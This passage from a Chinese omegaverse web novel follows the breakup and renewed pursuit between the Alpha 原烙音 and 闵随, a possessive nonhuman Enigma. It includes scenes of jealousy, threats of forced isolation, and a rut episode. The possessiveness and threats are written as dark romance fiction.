“你们塔卢索不是可以活很久吗,何必吊死在我一颗树上。”原烙音才不相信所谓命定伴侣的说法,若闵随真的把他当作命定之番,就不会一直算计,“这机场人就不少,若闵总Alpha看不上眼,我倒是认识不少与我契合的Omega,若您需要我可以牵线。” “祝你和新欢百年好合,慢走不送,以后来机场堵人的蠢事闵董还是别做了,不符合您的身份。”原烙音太懂怎么说话难听了,他本来就不是什么好性格的人,钱确保他不需要向任何人卑躬屈膝。 “塔卢索会和命定伴侣同生共死。”闵随见他这刺猬模样反倒松了口气,原烙音还在生气证明一切还有转圜余地,他还能好好解释,弥补自己做的蠢事。 该死的朗博伽斯,若非它找什么玩具,原烙音没经历变故早就杀回国质问,根本不会同意分手。 “all right.那你就去找和你同生共死的爱人。”原烙音无所谓地耸肩,打了个响指,末尾比了个打枪手势,“别再来纠缠,相信你抽的血原氏集团在合作上让利够多了。” 日后接手原氏大概率会进军其他行业,向北发展少不了与闵随见面,最好分手就划清界限。 闵随自动过滤他难听的话语,只注意到冬天Alpha又追求时尚只穿了件薄衬衫,几乎能够看到锁骨的形状。 他脱下外套披到原烙音肩膀,乌木味只存在一秒就狠狠砸回主人身上。 原烙音用尽理智才说服自己不要丢在地上踩两脚。 动作很大,Alpha衬衫的第一颗纽扣崩开,露出小片肌肤。 虽然看到衬衫下无玻璃瓶轮廓时就早有猜测,但发现信息素瓶的确消失后,闵随终于沉下脸色。 “我的信息素呢。”不是指腺体中无法除去的部分,闵随从前还挺喜欢隐秘占有的说法,他现在只想要所有Alpha和Omega都闻到原烙音腺体中的乌木信息素,别再不长眼觊觎他的Alpha。 “真不好意思,有个Omega说我的香水很好闻,我就随手送给他了。”原烙音气死人不偿命,他知道该怎么惹怒闵随,堵在机场让人当猴子看并不是他的爱好,可他赶不走闵随,自然又多了几分火气,“我讨厌你的信息素,本来打算丢进海里的,有人愿意收垃圾我为什么不给?” 讨厌。 这个熟悉的词语出现后,闵随脑海中的弦彻底绷断,他一直知道Alpha的真实性格令人头疼。 爱之欲其生,恨之欲其死。 很不幸,他判断失误,现在原烙音恨他恨得牙痒。 他往前一步,信息素有目的性缠绕在Alpha的指尖,这就是Enigma与生俱来的能力,对信息素的绝对掌控足以令全场无人发现强横的乌木气息。 只有他,只有他在人来人往的机场,置身雨气充沛的雨林。 “我雇你们是做什么的!”这是他在国内雇的保镖,刚跟着私人飞机来,这是第一天上任。 “你不知道我是他们的老板吗?”闵随望着制服的标志嗤笑一声,“IMS涉猎广泛,但毕竟是集团产业,我个人有很多投资,其中就包括旭日安保公司。” 原烙音单手叉腰,轻轻咬住下唇,思索该怎么回应这样尴尬局面。 “音音,别以为这是国外我就会收敛。”他勾起Alpha长不少的头发凑近嗅闻。 原烙音用尽全力挣扎却始终与异种无法抗衡,被闵随抓住手腕不得动弹,不知时间过去多久,原烙音都不在意有多少人看戏,男人才放开他,松手的瞬间手指还摩挲他手腕内侧。 像是调情。 “很乖,没有其他人的信息素。” 头发很容易留下气味,尤其是信息素。 闵随就像是只野兽在巡视自己的地盘,这样强烈的物化感令原烙音尤其不适,他从闵随眼中看不到丝毫欲望,也没有遭受挑衅的羞恼,就像是他平常看嘟呶生气时的模样。 他在Enigma眼中就像一只猫,现在只不过是因为生气溜出家门罢了。 意识到这一点的原烙音尤为厌恶,胃从内部开始灼烧,他感觉到恶心想要呕吐的感觉。 而闵随还没有用最有力的手段,完全标记能够帮助Alpha控制Omega,这也是现在平权人士呼吁拒绝完全标记的一大原因。 同理,闵随也能控制他。 “对不起音音,是我的错,我并不是要分手的意思。”闵随的消息尚有余地,他从不会将话说死,但这样的推脱无疑是踩在Alpha的底线。 他没忍住一巴掌扇在闵随脸上,Enigma人类的躯壳即刻泛红。 快意不可忽视地瞬间攀至顶峰,他早就想那么做了,在发现闵随是Enigma时,在发现闵随是异种时。 “赏你的,现在就滚。”他抱起恨不得死在朗伯里奇的ABC,准备越过闵随逃离这场闹剧。 闵随像是反应了几秒才用手背蹭上伤处,火辣的灼烧感提示着原烙音用了多大力道。 小狗终于忍不住咬人了。 “谢谢音音的奖励,我会祈求你的原谅。”闵随拉住Alpha的手腕,见他并没有甩开,眼底终于浮现几分真实的笑意,“但是我不希望你会不小心沾到任何人的味道,否则,诸如朗博伽斯这样的东西我虽看不上眼,但它们很乐意听从我的指挥。” “你在威胁我!”原烙音转过头,满眼惊愕。 在此之前,他知道闵随是人外生物却并没有几分实感,但此时此刻,他才意识到闵随的冷漠。 那是漠视蝼蚁生命的冷漠,闵随根本不会把人类甚至是异种的生命放在眼里。 就算是傲视所有异种的塔卢索,都以他为尊。 他到底招惹了怎样一个怪物! “我在祈求你的原谅。”闵随读懂他的想法,很满意Alpha片刻的忌惮。 “随便你怎么说吧,反正我们分手了,我绝不可能同意复合,毕竟上当受骗一次就已经够蠢了,我又不是有病,没有送上门给人标记的嗜好。”腺体开始隐隐作痛,它沾染乌木信息素太久,渴望闵随的犬齿咬破这里,给予它一场阔别已久的甘霖。 “别跟着我,别跟踪我。”原烙音回头警告,他很认真,“否则就算你真的动手,我们也玩完。” “我同意。”闵随欣然点头,触手从他衣服中探出头热情摇晃,就像是在打招呼。 原烙音瞪大眼睛,顾不得从他怀中一跃而下的ABC,冲过去挡在闵随面前。 “你疯了吗!你要是想死自己跳河!”他气得大吼,环顾四周却只发现望着他满脸错愕的人群,显然他的音调吸引了许多人的目光。 二十分钟了,他在这里浪费了二十分钟。 “你在担心我。”闵随尾音上扬,带着毫不掩饰的愉悦,他就像是个不计后果的疯子。 原烙音气得胸膛大幅度起伏,他又被闵随愚弄了。 看着闵随那张脸,原烙音手掌蜷紧,指甲从掌心根部往上划,才压下再给闵随一巴掌的冲动。 他抬头与Enigma无声对视,却觉得那张刻在心底的脸逐渐陌生。 他好像,从来没有真正认识闵随。 原来在那场感情中,他们都有所保留。 “对,我担心你。”原烙音抬起头,“但是你现在除了消耗我的耐心外什么也没有得到,下一次就算你被INSO抓走我也不会皱一下眉。” “再见,怪物先生。” 第63章 第 63 章 骤然遭受冷风攻击力令原烙音缩起脖子, 他正准备一头扎进接他的车中,却意外与一只猫对视。 纯黑色微微泛蓝的皮毛,漂亮的眼睛,人来人往却都不约而同地忽视。 是嘟呶。 他的异种小猫。 结果当然是带着一猫一狗上车, 只可惜嘟呶和ABC好像天生不对付, 刚凑到一起便开始打架, 连原烙音都受到不少波及。 好不容易回到沃拉提都的房子, 原烙音添两件衣服就要去见阔别好几年的朋友。 时间已经是日落时分, 这个城市才刚刚苏醒。 沃拉提都的名声并不好, 超平均值的枪击案件, 随处可见的违禁品交易,还有随处可见的红灯区。 这可不是什么好地方, 也没有什么好景色,原烙音发现地址落拿德大道369号是酒吧时,当即就开始后悔听从朋友安排。 闵随的威胁还历历在目, 显然男人也知道沃拉提都名声在外。 “嘿,原大帅哥!”等候多时的男人叫做托伊文, 中国人, 在沃拉提都留学几年。 他是个Alpha, 亚麻色羊毛卷, 画着夸张的烟熏妆, 穿衣风格潮流大胆, 脸上打了不少钉子。 很不巧的是, 他曾是原烙音的追求者。 “我听你弟说你谈恋爱了,是个Alpha, 还受了情伤?”托伊文递来两杯酒,一看就知道度数不低。 明显的兴师问罪。 原烙音暗骂原衡铎这个大喇叭, 接过酒抿了两口,并不打算提闵随。 只不过借酒消愁着实有几分道理,苦涩的酒精划过肠胃,他片刻忘记自己身在何处,也忘记闵随。 Omega和Alpha的眼神很灼热,亚裔在这里很受欢迎,不少人率先出击都铩羽而归。 原烙音并不打算与谁倾诉后上床抚慰心灵,他做不到,也觉得恶心。 “我出去清醒下。”他受不了托伊文暗戳戳地问东问西,用脚想都知道这个人贼心不死,原烙音只是没想到浪荡子托伊文居然能够喜欢他那么多年。 冷风倒是让他清醒不少,拖闵随的福,腺体治好后只需要几层抑制剂他就能好好呆在信息素驳杂的场合。 那些过去失控的时光恍如隔世。 他又控制不住想起与闵随的初遇。 “我说了我不做这行了,你放开我!” 争吵声吸引原烙音的目光,他看过去,上半身穿着皮毛大衣,下半身却是超短皮裤外加渔网袜厚高跟。 精致漂亮的妆容,以及最便宜的劣质防咬环。 这是个Omega。 那个Alpha叫嚣着拽住Omega的衣领,原烙音皱起眉,本来不打算管这样的闲事。 但Omega向他求救,那个男人误以为他是竞争猎物的人,朝他抡起拳头。 结果当然是被许久没有活动筋骨的原烙音当做免费沙包,丢下一句“小子你等着”,狼狈出逃。 那个Omega看上去刚成年不久,他扭扭捏捏走过来,加上十几厘米的厚高跟才差不多原烙音齐平。 “谢谢您先生。” Omega的吻几乎要落在他的脖子上,原烙音抓住他的肩膀推来,但少不了沾染上难闻的信息素。 对,难闻。 自从闵随标记他之后,他就陷入无法闻到他人信息素与厌恶他人信息素的死循环当中。 他腺体健全,却不是个完全的Alpha。 “先生,您救了我,虽然我不做这行了,但今晚可以,而且我不收钱。” 他又不找鸭子,况且这样的戏码太过蹩脚,那么粗暴却只是扯皱了衣领,真正的色鬼才不会只做这样的事情。 “然后在你的出租屋脱衣服时一群人拿着枪冲进来说我强迫他的弟弟?”仙人跳屡见不鲜,他只在网上看过,没想到自己有朝一日也会卷入其中。 “猜对了,也猜错了。”Omega露出狡黠的笑容,再也不像一只可怜的兔子,“对于其他人都是可以的,但谁让你那么漂亮。” 原烙音表情骤然变冷。 他最厌恶别人说他漂亮,包括说他果香味像Omega的信息素,但是他不想对Omega扬起拳头。 “嘿,嘿。”托伊文冲出来解围,他浪荡地笑着,“wow我们帅哥出来呼吸新鲜空气就被缠上了。” 他转过头对着Omega指着自己脸。 “认识我吗?” Omega忌惮的眼神说明一切。 “那还不滚,主意打到我朋友身上了。” “英雄救美,我怎么不知道原大少还有这种癖好。”托伊文正准备调侃,见原烙音对他避如蛇蝎,也有些恼,“我知道你不喜欢Alpha,你拒绝了之后我也没缠着你,你至于把我当瘟神吗?” “你口口声声说自己不喜欢Alpha,结果转头跟Alpha恋爱还受情伤,我生下气为自己找找机会不行吗?”托伊文扣住他的肩膀,轻佻地拍拍他的脸,还作势要亲。 一股大力将他拉开,钻心的疼从手腕开始蔓延,托伊文边骂边转身。 “you son of bitch!” 他看清那人的脸,很有冲击力的长相,再瞥见原烙音难看的脸色,他瞬间明白这人的身份。 他心上人的心上人。 情敌见面分外眼红,托伊文也顾不上他完全打不过闵随,冲上去就要为白月光讨公道。 “原烙音,我说过什么?”闵随根本不理会这个二世祖,他看到Omega的纠缠与Alpha的觊觎。 嫉妒与愤怒几乎填满心腔。 很新奇,他遇见原烙音前从未有过这样充沛的情感。 乌木信息素溢出,缠绕在原烙音身上,分出那丝丝缕缕就令托伊文脸色苍白,摇摇欲坠,最后还是抵抗不住跪下。 他量级很高,几乎没有人能够这样压制他,除了—— 他瞬间明白了闵随的性别,他抬头看向身侧的Alpha。 原烙音怎么会惹上这样的角色! “放他在,他是我的朋友。”原烙音毫不意外闵随会指使异种教训托伊文,就如他能瞬间毙命科仑。 那样的异种也会捏死托伊文如同捏死一只蚂蚁。 “我们谈谈,我们好好谈谈。”他拉起闵随的手,示弱地捏捏,最后在托伊文的目光中,与闵随离开。 最终他们进入一条小巷。 “你沾到了很多信息素。”闵随轻轻拨弄他的发丝,乌木信息素从指尖溢出,瞬间吞噬那些令他恶心的气味,“我说过的音音,我只在意你,并不在意其他人的感受。” 原烙音表情怔住,他听出了闵随的认真。 “你就因为他们跟我搭讪就要他们的命?”问出口时他控制不住地全身发抖,他觉得像是从来没有认识过闵随,“我拒绝他们了,我不喜欢他们。” “你当然不喜欢他们,不然他们早就死了。”闵随嗤笑两声,“只不过围在你身边的苍蝇让我有点厌烦。” “你在发什么疯!”原烙音抓住他们之间新的问题,闵随不尊重他的根源在于他从未将人类放在眼中,“你以前不是这样的。” “可是塔卢索的爱就是这样的。”闵随故意紧逼,说出口的话也不知道有几分假意几分真情,“怎么样,要丢掉吗?” 原烙音轻轻咬住下唇,往小巷深处走去。 他们在沉默中对峙,时不时过路的车灯照亮小巷。 暗巷在他们之间总是出现,在首都,在拉乌斯蒙德,就如同他们的感情一样见不得光。 即使现在社会接受度逐渐增加,但在世人眼中闵随依旧是Alpha,而Alpha之间的感情总是不被接受。 打破僵局的是一滴眼泪。 那只是开始,越来越多的泪从眼眶滑落,汇聚到下巴,再滴落。 昏暗到几乎伸手不见五指的空间,闵随怔然看向原烙音布满血丝的泪眼。 Alpha显然是不想脆弱地流泪,他偏过头躲开闵随探究的视线,粗暴地用衣料折磨眼球,却阻止不了眼泪的掉落,就像是情感终于找到宣泄的出口,那么多天的彷徨,那份爱情终于沦为折磨双方的利器。 原烙音自暴自弃蹲下,将脸埋在双膝,先是一点点可以藏在喧嚣中的啜泣,接着是清晰可见的哭声。 他很少哭,就算知道腺体残缺命不久矣,每次治疗时痛不欲生,他也没有掉过一滴眼泪。 但偏偏,但偏偏现在就像是决堤般控制不住。 原烙音的眼泪就像是砸在他的心上,这比凌迟更加痛苦,他有一瞬间疑惑自己这样逼原烙音是对是错。 “音音,对不起,你别哭。” 闵随瞬间慌乱,他也知道自己今晚被情绪影响,口不择言。 可这很无力。 就如同面对浑身伤口的人说你别疼,饥肠辘辘的人说你别饿,没有半点实际效用。 “闵随,我很努力了,我很努力想要这段感情,但是我们之间有太多问题都没解决。”原烙音站起身,他在国外吃不好睡不好,每天都有烦心事,蹲久了站起来都眼前一片花。 闵随意识到原烙音要说什么,但这次他没有打断。 根植在塔卢索基因中的不只是对命定伴侣的爱与忠诚,还有疯狂。 那么多塔卢索,并不是所有的命定伴侣都会爱上对方,但他们最后总会在一起。 他一意孤行,他无耻卑劣。 他伤害了原烙音,伤害了他的伴侣。 现在的他更情愿原烙音因为他的行径冲上来给他两拳,把他按在地上发泄这些日子的不满,而非靠在小巷斑驳的墙壁哭泣。 “之前的分手是我生气你说分开一段时间冷静。”原烙音几乎不敢抬头看闵随的眼神,他们现在方位与初遇奇妙的重合,但真真切切是物是人非,“但现在我觉得你说得对,抛开信息素和那些热情,我们并不适合对方,就应该及时止损,就应该分开。” 邛光到首都的飞机只有两个小时,但他们之前隔着无法跨越的鸿沟。 “你爱我,你不尊重我。”原烙音他们之间的问题连皮带肉地撕扯下来,看它鲜血淋漓,暴露在空气中无声地恸哭,“我在眼中永远就像个会闹脾气的小辈,甚至是磨爪子的小猫小狗,你知道我的真实性格恶劣,但你不在意。” 这样的不在意并不是接受爱人的每一面,而是人类也不会在意自己的小狗有什么阴暗面。 “你知道我发现你是Enigma不会离开你,因为你治好了我的腺体,而我也目的不纯。”挂在墙壁上脏兮兮的彩灯忽然亮起,但它们每一颗外壳都蒙着灰,只发出微弱的光亮,有几分微妙的滑稽感,“你也知道我发现你是塔卢索也不会离开你,因为我很喜欢你。” “但是闵随,这个世界上不是什么都能算计的。”原烙音抬手去触摸一颗灯,灰尘沾染了半个指尖,光将他脸上斑驳的泪痕渲染成蓝色,“就如现在,你算到了吗?我准备放弃你了。” “闵随,我们分手吧。” “不真实的你和不真实的我,在首都的那几个月,都忘记吧。” 他不愿再见闵随的眼睛,他喜欢闵随,尤其是那张脸,多看一眼都有可能心软。 其实他也没想到玩笑赌气的分手真的会成为现实。 明明完全标记还在,但他就是感觉到有什么在从血管中剥离,好不容易停止的眼泪又不争气地往下坠,他就像是将前二十几年没流的眼泪在今天流光般。 闵随在跟着他,不远不近的距离,他不在意。 【闵随:我没有别的意思,沃拉提都不安全,你回家后我就走】 又有哪里是安全的呢? 原烙音没回复,他将几乎冻僵的手藏进荷包,呼吸的白气慢慢朝天空飘去。 雨一颗一颗砸下,又有风出来,他苦笑着低头。 还真是应景。 他看与他不同皮肤的人朝自己家跑,逐渐磅礴的大雨打得人群四散开来。 原烙音觉得自己就像是下雨不知道往家里跑的傻子,那些雨滴始终没有落到他身上,就像有一次透明的力量包裹他的全身,毋庸置疑来自于谁。 但他还是没有回头。 他有些累,为闵随接二连三走的错棋,为从未真正认识的爱人。 这样的闵随,真的好陌生。 * 闵随信守承诺,在他关上门后消失不见。 原烙音很累,但他什么也不想做,大脑一片空白,心却痛得无法呼吸,只能靠在沙发上喘几口气。 没有人懂得他有多么不舍得,他本以为自己是单身主义,等待因残缺的腺体结束短暂的生命。 但他爱上了自己的救命恩人,甚至还是个Enigma,他明白自己只有权衡利弊才能得到更大的利益,但感情不是生意,他现在也不是闵随这样的商人。 滴滴滴滴—— 电话响起,是闵随。 他想挂断,想等铃声自己消失,结果还是接通。 “我同意分手,这是我因得的,但音音,不管你是怎么样的我都会永远爱你。”闵随的声音带着浓厚的泥土气息,是雨的味道,“爱上命定伴侣是塔卢索的本能,但你不一样,我是族群的异类,我不相信基因,一开始很排斥你,但是又控制不住被你吸引。” “其实音音,不管你是不是我的命定伴侣,我都会爱你。” 原烙音将电话放到一旁,他双膝蜷起坐在沙发上,搅动自己的手指。 他听闵随接连不断的剖心之言,头一次觉得有些好笑。 外面在打雷,嘟呶和ABC从楼上打到楼下,注意到他情绪低落后又夹着尾巴凑到他身边。 “音音,求你说句话……” 原烙音沉默着看向手机,最后还是捡起。 他保证自己说的话绝对不是闵随想要听的。 “分手就别再联系,别定位我。” “爱我的人太多了,不差你一个。” 第64章 第 64 章 沃拉提都没有他喜欢的东西, 还有他又爱又恨的人,原烙音一连很多天都没有出门,他感觉到闵随这次信守承诺,没有跟过来。 但他在沃拉提都下雪时, 带着猫和狗飞去了桑尼顿。 这是在桑尼顿的第四天。 两个城市建筑风格类似, 就连他的房子装修也差不多, 恍惚间原烙音还以为自己在沃拉提都。 他唯一给闵随发去的消息只是警告闵随不要越线。 但闵随祝他睡个好觉。 闵随怎么敢, 他怎么敢! 就连被实验折磨得死去活来他都没有失眠, 而在沃拉提都, 他没有睡过一个整觉。 这些日子他一直在想。 要不要彻底放弃闵随。 这个问题在第一次欺骗时就初现端倪, 他违背Alpha的天性,将控制权交给自己的爱人, 换来的却是闵随自认为瞒天过海的拙劣技巧。 他天生残缺又复原的腺体是闵随的免死金牌,但在一段感情中痛苦大于欢愉,最理智的方式就是彻底放弃。 他吃到了苦头, 撞到了南墙,滋生了恨, 但没有磨灭爱。 他选择了分开, 又心有不甘。 原烙音也是在沃拉提都闭门不出的那几天想明白的, 他日日站在窗台前观察闵随是不是在监视他, 其实是期盼自己能够看到Enigma。 每次得到想要答案的失落是无法忽视的。 窗帘遮光性太好, 没有一丝光逃离掌控进入房间, 漆黑的环境很适合胡思乱想。 原烙音躺靠在床上, 干什么都提不起兴趣。 他辗转多个国家,将从前见过的没见过的全收入眼底, 但永远无法获得彻底的宁静。 信息素在急剧飙升,他知道这是易感期来临的预告, 符忍盛告诉过他,由于闵随的标记,他的易感期的周期会比一般Alpha更短,更贴合Omega发情期的时间间隔。 原本很平静,但他见到了闵随。 是他大意了,完全标记的缔结宣示着他不再需要抑制剂控制易感期,只需要与闵随信息素的交换。 寻常的普通抑制剂根本对易感期Alpha无用。 他们分手了,可生理连接永远切不开。 他想打急救电话,却连手机都拿不稳,砰的一声掉落在地。 嘟呶听到声音飞快往上跑,用脑袋顶开门,发现原烙音已经昏厥过去,整个人散发着热气,就像是刚刚从锅里捞出来的虾子。 它闻不见信息素,但混迹人类社会那么多年,多多少少也能猜到这是怎样的情况。 该怎么办? 它急得喵喵叫,开始后悔自己负隅顽抗,坚决不向闵随透露行踪。 对,闵随! 【你在桑尼顿吗?原烙音晕倒了,易感期】 嘟呶的能力有限,它与异种对话的空间限制最多覆盖整个桑尼顿,想到这,它从二楼跳下,狠狠一巴掌抽在ABC脸上,两个狗脑袋从两侧冒出准备与玄猫大战三百回合。 【能不能联系上塔卢索】 ABC意识到事情不对,三个头昂起捕捉信息。 还没下文,却响起了敲门声。 塔卢索的声音传来。 “嘟呶,开门。” 嘟呶想起自己对塔卢索的挑衅,一身毛都要炸起来,但还是迫于压力去开门。 但—— 【真不是我不想开,原烙音反锁了,我没密码】 几秒后,哗啦的玻璃破碎声清晰,闵随肘击打破了门旁的窗户,踩着碎渣翻进别墅,用手势示意嘟呶和ABC呆在原地。 浓郁的青柠味信息素昭示着宿主在经历怎样的痛苦,他听到原烙音急促而微弱的呼吸声,握住门把手往下。 啪嗒。 门开了。 这是Alpha的别墅,于闵随而言完全陌生,但好在有光源指引。 闵随看见他。 Alpha蜷起腿坐在椅子上,台灯照亮他的侧脸,凌乱透金的碎发堪堪遮住眉宇,高耸的鼻梁骨漂亮得惊心动魄。 原烙音是自由肆意的,却被折磨得易感期用这样丧失安全感的姿势保护自己,闵随走过去,角度的偏移让他顺利看到原烙音脸上的泪痕,还有一滴悬挂在下巴。 蝴蝶睁开眼睛,看到将它关进玻璃罐的暴徒。 它闪动着翅膀,想象中的咒骂与愤怒都没有出现,Alpha气息轻得就像一片云。 “你还是来了。” 没有怨怼,没有怀疑。 “我看见你朋友圈发了桑尼顿,我没有定位你,这几天我一直在桑尼顿打转,希望遇见你。” 可是桑尼顿那么大,怎么可能遇见?更何况他还在房子里当缩头乌龟。 “就像当初你来拉乌斯蒙德想要遇见我一样。” “我闻到了你的信息素。” 在桑尼顿遇见可比拉乌斯蒙德难多了,他推测闵随的位置至少还有线索,而闵随就像是只无头苍蝇到处乱转。 果然是命中注定,就算是分手,上天都在拼尽全力支持他们复合。 闵随还是来了,就在他准备彻底放弃这段痛苦的感情时。 那就像一颗糖,外面那层糖霜消失后,他发现世界上没有比这个更酸的糖果,准备吐掉时又因为酸刺激口腔的滋味而犹豫,当真正准备吐掉时,却尝到最里面的甜。 他眼眶酸涩,心乱如麻。 那片刻欣喜,他无法自欺欺人归咎于易感期。 闵随察觉到他有转身的意图,焦急地抓住他的手掌,急促地单膝跪地,用吻去表达自己的愧疚与不安。 他仰起脸,不完美的角度也足以令原烙音欣赏宛如建模的美貌,他眼底的歉意与自责刺痛Alpha。 不要走,不要丢下我。 闵随什么都没说,又像是在拼命渴求。 信息素是Alpha的幸运与诅咒,他们终生都是受其控制的野兽,但同样,宿主意愿大于一切。 青柠信息素散发的意味很明确,他在拒绝闵随。 “你不该来的。”他们分手了,该做一对体面的前任,再也不要提起对方,也不要再见面。 “我错了,是我的错。”闵随声声恳请,在原烙音看来却不过是鳄鱼的眼泪。 “是真的愧疚,还是发现我真的要放弃你了。”他的手渐渐抚摸在闵随脸侧,眼睛里的光晕闪闪发光,泪痕消失不见,取而代之的是比哭还难看的苦涩笑容,“你说塔卢索的爱毋庸置疑,为什么又总是做伤害我的事情呢?” 他知道,闵随也知道。 在轮船上赌气答应的分手并不是两人的断绝,沃拉提都的恶语相向象征着断绝的开始,更坏的是原烙音有百分百时间都是独处,陷入思考后就会产生无法预料的变数。 比如,他越来越清醒地认识到与闵随的距离。 闵随是能够轻易教训朗博伽斯的异种,而他是差点被台风波及葬身大洋的普通人,物种的不同就是一条鸿沟,他的勇气已经击溃,腺体治好后拥有与其他人等长的生命可能,他卑劣地想要过河拆桥。 他想用钱买断恩情,他只有钱。 而闵随最不缺的,就是钱。 “放心吧,我不会和你复合的。”原烙音忍受着易感期,他从前信息素水平比现在高得多,还不算太难受,“其实闵随,抛开信息素的契合与你对我的救命之恩,我们一点不合适。” 原烙音具有反叛精神,他从来不屈服于命运,想尽一切办法与既定的短暂生命搏斗。 他愿意顺从能够标记他,压迫他的Enigma,只是因为他愿意。 现在,他改变主意后,又会比谁都心狠。 “在桑尼顿漫无目的的寻找,你知道的闵随,这没有意义。”他的声音很轻,小腿交叉着盘在狭小的空间,像是防备,“很多事情只需要十分钟就可以化解矛盾,可我们总是推脱。” 事已至此,他不愿意再怪什么。 “分手并不是我脑子一热,你回国吧,或许我冷静好会给你答复。” 他决定好的事几乎很难有转圜余地,当初全家反对也是义无反顾站上拳击台;违背世俗与闵随相恋,到现在不合适就分开,他从不回头。 几乎是瞬间,闵随就明白原烙音是在报复他,不是锋利如刀子的咒骂,而是一点一点报复他从前的轻率。 他忽略的那十分钟,选择追捕西亚莉而错过能够好好解释的十分钟,原烙音再也不会给他了。 “你是最重要的。”他拼命汲取原烙音掌心的温暖,就像是饿死鬼祈求最后的美餐,“我知道不该过来,但——” “我很想你。”闵随触及Alpha眼底的冰冷与决绝,终于明白为什么塔卢索永远是爱情中的弱者,原烙音的沉默与冷待,比剖开他腹部抽筋扒皮还疼,他诉说自己设想好的结局,“等你冷静完,就会彻底放弃我,像丢一袋垃圾一样把我丢开。” 他没有在末尾加上反问。 现在就是原烙音在经历戒断反应。 没有了原烙音的爱,他无计可施,就像是囚徒在寻求最后的生存机会,期盼上帝的宽恕。 “闵随,你在心存侥幸骗我的时候,难道没想过这样的结局吗?”台灯的光明晃晃,原烙音心乱如麻,只想让闵随离开,乌木信息素几乎让他反胃,“你真的爱我吗?你真的尊重我吗?究竟是你身为塔卢索对命定伴侣的本能,还是因为你是闵随,我是原烙音。” 爱怎么会让对方痛苦,死了都要爱从来都只是歌词。 “你质疑我对你的爱?”闵随不可置信,他表情瞬间怔忪,像是被一道雷劈中,这句话的威力比千百句诅咒更大,“你比我的命还重要,你怎么会质疑我是不是真的爱你?” 原烙音与他对视,像是在否认他的话。 “你说的对。”闵随自嘲地起身,靠在窗台看外面雨打树叶,随口说出之前烂在肚子里也不肯拿出来让原烙音心软的痛苦记忆,“我活下来的目的就是为了爱你,但是我在族群就是个异类,从来没感受过什么是爱,你不相信也是对的。” 他上次解释过,但原烙音说不稀罕他的爱。 “塔卢索会为了命定伴侣变成任何生物,我不愿意被命运裹挟提前分化成人类,一手创办IMS,企图用事业压过对爱情的渴望。”闵随声音在抖,黑暗中只有原烙音那里有一束光,三两步的距离,闵随却觉得他跨不过去,“遇见你一开始是刻意规避,但很快我还是喜欢上你。” “你说的那个西亚莉,她不也违背命运爱上同类,难道她没有命定伴侣吗?”西亚莉,熟悉的名字,陌生的人,这个他从未见过面的闵随同族,却是推动他与闵随矛盾的主力。 至于起源,还是闵随的欺骗。 他自认宽容,若非对方不是闵随,他会毫不犹豫抽身离去,不回踩一脚落井下石已经是极限。 “所以他们受到了命运的惩罚,她的爱人曾经带着一群塔卢索撕开我的保护壳把我丢在族地的街道,诸如此类过分许多的事上百年成长期多如牛毛,所以我公报私仇,砍下了他的脑袋,让他死无全尸。”闵随点燃一支烟,他很久没有抽过了,烟雾缓缓往上飘,“现在我这个异类成了族长,这样的事情我做过很多,你愿意听,我就说。” “我不想听,闵随,现在你离开我们还能当朋友,好聚好散,两不相欠各自余生。”原烙音克制住扑向闵随祈求信息素的本能,他的身体发出信号,要求他立刻索取Enigma的疼爱。 “你知道祂们给我取了个什么名字吗?”闵随听见他的话后终于撕碎伪装,不再是心碎的模样,而是受到背叛的模样,像一只恶狼,发出一句原烙音从来没有听过的古老语言,“意为独裁者,或者说暴君,死在我手上的塔卢索不计其数。” 折磨过他的同族,无一幸免,全部死在他的触手下。 “祂们说我是疯子。”闵随掐灭烟头,双手十指交叉呈拱形抵着下巴,微微挑眉,“所以音音,要不要收回刚刚的质疑。我不奢求你立刻否认分手的话,但如果你把我当作随意丢开的物件,我在塔卢索的族地有自己的居所,你永远回不到人类社会,环球旅行、封闭学习,甚至是死亡证明我都能轻易办到,到时候能与你联系就只有我,你只能见到我,而你,永远离不开有我力量覆盖的空间。” “我还挺期待的。”他的声音带着让原烙音胆战心惊的愉悦,闪电划过,照亮闵随几乎黄金比例的脸,“怎么样,音音,想清楚了吗?” 他从前以为自己有绝对理智,当原烙音真正打算分开后,他才明白自己也继承了塔卢索基因中的劣根性。 “旅行可以,分手可以,没有两不相欠各自余生这个选项。” “你还认为我不爱你吗?” 闵随模糊分手二字的含义,试图将其降级为争吵后脱口而出的话语,他们彼此交融,会纠缠终生。 “你爱我,你很爱我,没有人比你更爱我。”原烙音气得不轻,但他明白闵随能说出口就是有这个心思,于是选择妥协。 他的怀疑终于证实。 塔卢索都是疯子。 什么分开冷静全是鬼话! “那就好,你比我的生命都重要。”闵随就像是得到糖的孩子,与他平时的成熟稳重完全不同,卑劣而阴鸷,“需要我帮你度过易感期吗?” 意思太过敏感的,闵随的手已经隔着衣服触及敏感的腺体。 “你这样只会让我恨你。”原烙音想,若是闵随硬来,他一定会不惜一切代价弄断那根东西。 闵随踱步到他面前,掐住他的脸。 “那就恨,总比什么当朋友好。”他见原烙音实在难受,收回所有乌木信息素,那枚戒指闪烁着光芒,“我尊重你,离开沃拉提都后没有让谢垣追踪你,在世界各地漫无目的期待闻到属于你的信息素,发现你在桑尼顿立刻敢来,我接受你气我有所隐瞒无耻卑劣而分手,我想着总能找到方法挽回过失,这段时间就让你冷静,结果让你冷静就冷静出放弃我这个选项。” “原烙音,你不是一直都知道我是疯子吗?”他戳破原烙音不敢深想的那条路,暴力撕开缺口,将真相血淋淋地甩出,“凡是异种就没有正常的,傅云泠是疯子,闻辙也是,我们本来就不是人。” 什么道德,什么法律,在他们眼前就是笑话。 “我回IMS,不会追踪你,这是我答应你的。”闵随放下信息素提取液,“这个比抑制剂好用,你继续旅行。” “你又抽血了?”原烙音下意识抓住他的小臂,针眼早就愈合。 他永远无法对闵随的信息素提取液无动于衷。 “抽了不少。”闵随暗暗邀功,“因为有个Alpha不愿意让我跟着,又不带抑制剂在身边。” “这次别在送给哪个不长眼的Omega了。”闵随语气很酸,他其实知道那瓶信息素的去向,“也别故意说话刺激我了。” “我去打了朗博伽斯一顿,他告诉我,是闻到了我的信息素才忌惮离开。” 最后快到瓶底的那一点点信息素就有这样的威力。 是闵随救了他们,仅仅凭INSO绝对不可能逼退朗博伽斯。 而苦苦压制消息终于遭到反噬,人类与异种共存无数年的消息终于得到证实,再也无法压下,舆论几乎瘫痪。 “带着我的信息素,如果有什么东西就打开,它们不会想惹恼塔卢索的命定伴侣。” 原烙音背过去不说话。 闵随静静看着他的背影,偏过头为自己的发疯轻笑。 一分钟,两分钟。 数不清的时间滴答滴答,原烙音因台灯的光眼睛干涩,他下意识回头,却发现Enigma早已消失不见。 